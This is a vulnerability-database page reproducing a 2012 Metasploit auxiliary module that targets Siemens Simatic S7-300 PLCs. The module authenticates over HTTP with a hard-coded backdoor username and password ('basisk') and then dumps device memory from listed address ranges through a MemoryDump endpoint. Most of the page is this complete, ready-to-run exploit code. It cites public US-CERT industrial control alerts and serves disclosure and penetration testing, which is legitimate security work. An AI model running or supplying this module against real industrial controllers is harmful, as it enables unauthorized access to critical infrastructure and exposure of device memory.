Lucene search
K

Siemens Simatic S7-300 PLC Remote Memory Viewer

🗓️ 14 Jul 2012 00:00:00Reported by Dillon BeresfordType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 43 Views

Siemens Simatic S7-300 PLC Remote Memory Viewer attempting to authenticate using a hard-coded backdoor password and dumping device memory using system commands

Code
`# Exploit Title: Siemens Simatic S7 300 Remote Memory Viewer Backdoor  
# Date: 7-13-2012  
# Exploit Author: Dillon Beresford  
# Vendor Homepage: http://www.siemens.com/  
# Tested on: Siemens Simatic S7-1200 PLC  
# CVE : None  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Auxiliary  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Siemens Simatic S7-300 PLC Remote Memory Viewer',  
'Description' => %q{ This module attempts to authenticate using a hard-coded backdoor password in  
the Simatic S7-300 PLC and dumps the device memory using system commands.  
Mode: Values 8, 16 or 32 bit access  
Valid address areas are:  
80000000 - 81FFFFFF SD-Ram cached  
A0000000 - A1FFFFFF SD-Ram uncached  
A8000000 - A87FFFFF Norflash  
AFC00000 - AFC7FFFF ED-Ram int. uncached  
BFE00000 - BFEFFFFD COM-ED-Ram ext.  
C0000000 - C007FFFF ED-Ram int. cached  
D0000000 - D0005FFF Scratchpad data int.  
D4000000 - D4005FFF Scratchpad code int.  
F0100000 - F018FFFF SPS-Asic 16-Bit access only  
},  
'Author' => 'Dillon Beresford',  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-204-01%20S7-300_S7-400.pdf' ],  
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-186-01.pdf' ],  
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-161-01.pdf' ],  
],  
'Version' => '$Revision$',  
'DisclosureDate' => 'June 2011'  
))  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('USER', [ true, 'Simatic S7-300 hardcoded username.', 'basisk']),  
OptString.new('PASS', [ true, 'Simatic S7-300 hardcoded password.', 'basisk']),  
OptString.new('MODE', [ true, 'Memory Read Mode (8-bit, 16-bit, 32-bit)', '32']),  
OptString.new('HEX', [ true, 'Simatic S7-300 memory offset', '1']),  
OptString.new('OFFSET', [ true, 'Simatic S7-300 memory offset']),  
OptString.new('LENGTH', [ true, 'Memory Dump Length in Bits', '256'])  
], self.class)  
end  
  
def run_host(ip)  
  
begin  
user = datastore['USER']  
pass = datastore['PASS']  
  
print_status("Attempting to connect to #{rhost}:#{rport}")  
len = '1024'  
login = send_request_raw(  
{  
'method' => 'GET',  
'uri' => "/login?User="+user+"&Password="+pass  
})  
  
  
if (login)  
  
request = send_request_raw(  
{  
'method' => 'GET',  
'uri' => "/tools/MemoryDump?Address="+datastore['OFFSET']+"&"+"Hex="+datastore['HEX']+"&"+"Length="+datastore['LENGTH']+"&Mode="+ datastore['MODE']  
})  
if (request and request.code == 200)  
  
print_good("Success! Dumping Memory on #{rhost} \r\n\n#{request.body}")  
elsif (request and request.code)  
print_error("Attempt #HTTP error #{request.code} on #{rhost}")  
end  
end  
  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
rescue ::Timeout::Error, ::Errno::EPIPE  
rescue ::LocalJumpError  
end  
end  
end  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation